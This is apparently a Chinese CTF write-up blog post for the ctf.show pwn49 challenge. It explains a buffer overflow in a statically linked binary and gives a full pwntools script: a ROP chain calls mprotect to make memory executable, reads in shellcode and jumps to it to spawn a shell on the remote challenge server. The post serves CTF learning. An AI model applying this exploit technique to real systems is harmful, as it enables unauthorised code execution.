ctf_show pwn49(mprotect+shellcode)

image
看了一下保护措施,发现有canary保护,但是在ida中查看汇编代码时并没有发现canary的读取和函数结束时的canary比较操作,说明可能并没有存在canary保护
然后经过验证,发现确实可以直接进行溢出
然后这里是一个静态链接的文件,可以利用函数mprotect修改指定范围里的权限,然后在利用read函数进行shellcode的读取操作,在返回到读取的地址,触发shellcode的执行
image
这题中需要将prot设为7,有可读可写可执行的权限
然后起始地址低12位要为0,此题中0x080DA000 正好满足
image

点击查看代码
from pwn import *
io=remote("pwn.challenge.ctf.show",28269)
context.arch='i386'
mprotect=0x0806CDD0
ctfshow=0x80488A8
start_addr=0x80DA000
len=0x1000
arg3=7
pop_edx_ecx_ebx_ret=0x0806e011
read=0x806BEE0
arg1=0x0
shellcode=asm(shellcraft.sh())
payload1=b'A'*(0x12+4)+p32(mprotect)+p32(pop_edx_ecx_ebx_ret)+p32(start_addr)+p32(len)+p32(arg3)+p32(read)+p32(start_addr)+p32(arg1)+p32(start_addr)+p32(len)
io.sendline(payload1)
io.sendline(shellcode)
io.interactive()


这里在进行构造payload的时候穿插了一个pop_edx_ecx_ebx_ret,主要的作用是清理栈上mprotect的3个参数,然后返回到read的地址进行执行
posted @ 2026-02-03 16:42  Rye01R  阅读(2)  评论(0)    收藏  举报